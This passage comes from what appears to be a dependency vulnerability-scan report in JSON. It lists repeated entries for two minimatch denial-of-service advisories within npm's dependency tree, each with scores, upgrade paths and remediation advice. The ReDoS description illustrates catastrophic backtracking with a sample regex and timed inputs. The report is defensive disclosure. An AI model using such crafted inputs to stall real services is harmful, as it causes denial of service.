Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't 